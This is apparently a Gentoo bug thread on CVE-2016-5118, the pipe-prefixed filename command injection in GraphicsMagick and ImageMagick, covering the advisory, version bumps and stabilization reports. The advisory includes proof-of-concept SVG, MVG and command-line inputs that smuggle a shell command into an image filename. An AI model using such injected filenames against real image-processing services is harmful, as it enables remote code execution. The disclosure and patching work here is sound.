From ${URL} : All existing releases of GraphicsMagick and ImageMagick support a file open syntax where if the first character of the file specification is a '|', then the remainder of the filename is passed to the shell for execution using the POSIX popen(3C) function. File opening is handled by an OpenBlob() function in the source file blob.c. Unlike the vulnerability described by CVE-2016-3714, this functionality is supported by the core file opening function rather than a delegates subsystem usually used to execute external programs. The funtionality can be demonstrated as follows: % rm -f hello.txt % convert '|echo Hello > hello.txt;' null: % ls hello.txt hello.txt The same weakness in the native SVG readers may be used to provoke this problem. This example returns a valid image given a known file (but an actual file is not necessary): <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="4in" height="3in" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <desc>Illustrates how a shell command may be embedded in a SVG. </desc> <image x="200" y="200" width="100px" height="100px" xlink:href="|echo Hello > hello.txt; cat /usr/lib/firefox/browser/icons/mozicon128.png"> <title>My image</title> </image> </svg> Or in MVG: push graphic-context viewbox 0 0 640 480 image copy 200,200 100,100 "|echo Hello > hello.txt; cat /usr/lib/firefox/browser/icons/mozicon128.png" pop graphic-context Previously supplied recommended patches for GraphicsMagick do successfully block this attack vector in SVG and MVG. It is highly likely that there are many paths leading to a suitable filename which may be executed outside of SVG and MVG since the software is quite complex and powerful. The examples above are not meant to suggest that other avenues to the same weakness are not available. The simple solution to the problem is to disable the popen support (HAVE_POPEN) in GraphicsMagick's magick/blob.c as is done by the attached patch. @maintainer(s): after the bump, in case we need to stabilize the package, please let us know if it is ready for the stabilization or not.
This affects imagemagick as well. 6.9.4-5 and 7.0.1-7 have been released upstream and contain fixes related to this. Given the severity of these imagemagick issues I think we're handling them too slowly. Please bump asap and start stabilization.
commit 68407a602cc64231cd887123da2d33dbe5756230 Author: Lars Wendler <polynomial-c@gentoo.org> Date: Thu Jun 2 08:15:11 2016 media-gfx/graphicsmagick: Bump to version 1.3.24 Package-Manager: portage-2.2.28 Signed-off-by: Lars Wendler <polynomial-c@gentoo.org> commit 33e9a7af50f7b2a5cbb20229deb94d4cb920fe67 Author: Lars Wendler <polynomial-c@gentoo.org> Date: Thu Jun 2 08:04:09 2016 media-gfx/imagemagick: Bump to versions 6.9.4.6 and 7.0.1.8 Removed old. Package-Manager: portage-2.2.28 Signed-off-by: Lars Wendler <polynomial-c@gentoo.org> @security, please do the stable request for both packages. In case of imagemagick we cannot stabilize version 7 as it still breaks too many packages.
Arches please test and mark stable the following two packages. =media-gfx/imagemagick-6.9.4.6 with target KEYWORDS: alpha amd64 arm hppa ia64 ~mips ppc ppc64 ~s390 ~sh sparc x86 ~ppc-aix ~amd64-fbsd ~x86-fbsd ~x86-interix ~amd64-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~x64-solaris ~x86-solaris =media-gfx/graphicsmagick-1.3.24 with target KEYWORDS: alpha amd64 hppa ppc ppc64 sparc x86 ~x86-fbsd ~amd64-linux ~x86-linux ~ppc-macos
amd64 stable
x86 stable
Stable for PPC64.
Not holding this up because Security, but it newly fails the test suite (6.9.4.1 passes, IIRC). I'll file a separate bug about that. Both stable on alpha.
Stable for HPPA.
arm stable
ppc stable
sparc stable
ia64 stable. Maintainer(s), please cleanup.
(In reply to Agostino Sarubbo from comment #12) > ia64 stable. > > Maintainer(s), please cleanup. done.
CVE-2016-5118 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-5118): The OpenBlob function in blob.c in GraphicsMagick before 1.3.24 and ImageMagick allows remote attackers to execute arbitrary code via a | (pipe) character at the start of a filename.
GLSA Vote: No
commit 1a4c6b2bea42b8631c56c861c37f88930da4f007 (HEAD -> master) Author: Patrice Clement <monsieurp@gentoo.org> AuthorDate: Mon Jul 11 12:07:34 2016 +0000 Commit: Patrice Clement <monsieurp@gentoo.org> CommitDate: Mon Jul 11 12:20:50 2016 +0000 dev-python/pythonmagick: Remove v0.9.11 relying on unsecure and outdated releases of ImageMagick. Gentoo-Bug: https://bugs.gentoo.org/584512 Package-Manager: portage-2.2.28 dev-python/pythonmagick/Manifest | 1 - dev-python/pythonmagick/pythonmagick-0.9.11.ebuild | 61 ---------------------- 2 files changed, 62 deletions(-) delete mode 100644 dev-python/pythonmagick/pythonmagick-0.9.11.ebuild